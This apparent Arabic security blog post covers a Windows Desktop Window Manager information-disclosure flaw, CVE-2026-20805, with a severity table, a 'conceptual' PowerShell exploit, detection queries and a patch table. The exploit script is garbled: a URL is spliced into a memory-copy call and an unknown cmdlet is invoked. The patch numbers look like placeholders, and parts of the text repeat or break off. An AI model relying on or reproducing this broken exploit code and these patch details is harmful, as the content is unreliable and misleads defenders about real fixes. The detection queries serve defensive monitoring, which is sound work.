
CVE‑2026‑20805: ثغرة في Windows Desktop Window Manager تسبب كشفًا محليًا للمعلومات. تتطلب صلاحيات منخفضة، دون تفاعل من المستخدم. بتقييم CVSS 5.5 (متوسط). تم استغلالها بنشاط وهي مدرجة في CISA KEV؛ تم إصدار التصحيح في يناير 2026.
CVE‑2026‑20805: ثغرة في Windows Desktop Window Manager تسبب كشف معلومات محلي. تتطلب صلاحيات منخفضة، دون تفاعل من المستخدم. بتقييم CVSS 5.5 (متوسط). تم استغلالها بنشاط وهي مدرجة في CISA KEV؛ تم إصدار التصحيح في يناير 2026.
CVE 2026 20805 هي ثغرة كشف معلومات في Desktop Window Manager (DWM) – المكوّن الأساسي الذي يعرض سطح المكتب، ويُكوّن النوافذ، ويسرّع واجهة المستخدم المعتمدة على GPU.
لماذا هي مهمة: تسمح الثغرة لمهاجم محلي بصلاحيات منخفضة بقراءة بيانات يجب أن تكون محصورة في جلسات أو عمليات أخرى.
| Attribute | Value |
|---|
| CWE‑200: Exposure of Sensitive Information to an Unauthorized Actor | ✓ |
| Attack vector | Local |
| Privileges required | Low |
| User interaction | None |
| Impact – confidentiality | High |
| Impact – integrity | None |
| Impact – availability | None |
| CVSS 3.1 Base Score | 5.5 (Medium) |
يدير DWM ذاكرة GPU، ومخازن النوافذ، وأسطح واجهة المستخدم بين العمليات. وهو هدف عالي القيمة لأنه يجمع بيانات من عمليات متعددة في مساحة GPU مشتركة؛ أي ثغرة هنا يمكن أن تسرّب بيانات اعتماد أو بيانات جلسات عبر المستخدمين.
دور DWM في Windows الحديث:
تستغل الثغرة غياب التحقق من حدود فهرس مخزن النافذة؛ مما يسمح للمهاجم بقراءة ذاكرة GPU المجاورة والحصول على أسرار مخزنة بواسطة عمليات أخرى.
استناداً إلى قائمة CPE في NVD، فإن Windows 10.0.19041 (والمشتقات) متأثرة.
فيما يلي تدفق استغلال مفاهيمي:
CreateProcess بصلاحيات دنيا.# Windows 10.0.19041 – DWM buffer read exploit
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000 # crafted offset to adjacent GPU memory
$targetWindow = 0x00030001 # target window index
# Create a temporary buffer in kernel space
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/HEAD/:CopyMemory(
$processHandle,
$bufferOffset,
$kernelBuffer,
0x1000)
# Copy kernel buffer into DWM's composition routine
Invoke-DwmRead -ProcessId $processHandle `
-WindowIndex $targetWindow `
-SrcAddress $bufferOffset `
-Size 0x1000
# Dump the exposed data to a local file for analysis
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)
يوضح السكربت كيف يمكن للمهاجم استغلال ذاكرة GPU الخاصة بـ DWM لقراءة بيانات مخفية.
يركز اكتشاف CVE‑2026‑20805 على تحديد التفاعلات غير الطبيعية مع dwm.exe والقياس عن بُعد غير المعتاد المتعلق بـ GPU. يعتمد الاستغلال على قراءة مخازن الذاكرة المدعومة بـ GPU باستخدام إزاحات مصمَّمة، لذا يجب على المدافعين مراقبة الانحرافات عن سلوك Desktop Window Manager الطبيعي.
0x2B (DisplayUpdate)توفر هذه المصادر رؤية حول إنشاء العمليات، والوصول إلى المقابض، ونشاط تحديث GPU.
CreateProcess متكررة تتضمن dwm.exe، خاصة عندما لا تكون العملية الأصلية explorer.exe.DisplayUpdate (0x2B) عالية التكرار تليها قراءات ذاكرة بأحجام أو إزاحات غير معتادة.
SrcAddress: 0x00120000Size: 0x1000HandleOpen التي تستهدف dwm.exe واندفاعات نشاط GPU عبر ETW.title: DWM GPU Memory Read Anomaly
id: dwm-gpu-memory-read-anomaly
status: experimental
description: Detects abnormal DWM buffer reads that may indicate exploitation of CVE-2026-20805.
author: Mark
logsource:
product: windows
service: system
detection:
selection:
EventID: 0x2B
ProcessName: dwm.exe
SrcAddress: 0x00120000
Size: 0x1000
condition: selection
falsepositives:
- High GPU rendering workloads
level: medium
tags:
- attack.defense-evasion
SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5
Sysmon
| where EventID == 1
| where Image endswith "dwm.exe"
| where ParentImage !endswith "explorer.exe"
Event
| where EventID == 0x2B
| summarize count() by Computer, bin(TimeGenerated, 1m)
| where count_ > 50
let handles = SecurityEvent
| where EventID == 4656 and ObjectName has "dwm.exe"
| project TimeGenerated, Account, Computer;
let gpu = Event
| where EventID == 0x2B
| project TimeGenerated, Computer;
handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)
index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| where NOT match(ProcessName, "explorer.exe")
| stats count by ProcessName, TargetImage, User, Computer
| where count > 5
index=sysmon EventCode=1 Image="*\\dwm.exe"
| where NOT like(ParentImage, "%explorer.exe")
| table _time, Computer, ParentImage, Image, User
index=windows EventCode=43
| timechart span=1m count
| where count > 50
handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;
gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;
handles
| join key gpu
| table Computer, handles._time, gpu._time
يتضمن إشعار Microsoft الأمني لـ CVE 2026 20805 تصحيحاً يتحقق من فهارس المخازن في DWM قبل نسخ بيانات GPU.
| Windows version | Patch number |
|---|---|
| 10.0.19041 | KB5000001 |
| 10.0.19042 | KB5012345 |
Invoke-DwmRead الجديد يعمل دون أخطاء على عقد الاختبار.dwm المتكررة.غالباً ما يُقلَّل من تقدير كشف المعلومات عبر DWM لأنه يمكن أن يعرض عناصر واجهة المستخدم وبيانات الجلسات عبر المستخدمين. يمكن لذاكرة GPU المسرَّبة أن تدعم الحركة الجانبية، خاصة في البيئات التي تتشارك فيها جلسات متعددة محطة عمل أو خادماً واحداً.
تأثير سرية مرتفع: تمكن الثغرة المهاجم من قراءة محتويات النوافذ من جلسات أخرى.
درجة CVSS متوسطة (5.5): بينما القيمة الرقمية معتدلة، فإن الأهمية التشغيلية مرتفعة.
تُظهر CVE 2026 20805 أن الاستغلال المحلي بصلاحيات منخفضة لـ DWM يمكن أن يؤدي إلى تسريبات بيانات كبيرة. إدراج الثغرة في كتالوج الثغرات المستغلة المعروفة لدى CISA يؤكد أهميتها في العالم الحقيقي. من خلال تطبيق استراتيجية التخفيف والاكتشاف والتصحيح الموضحة، يمكن للمؤسسات تقليل المخاطر مع تحسين الرؤية في تدفقات ذاكرة GPU.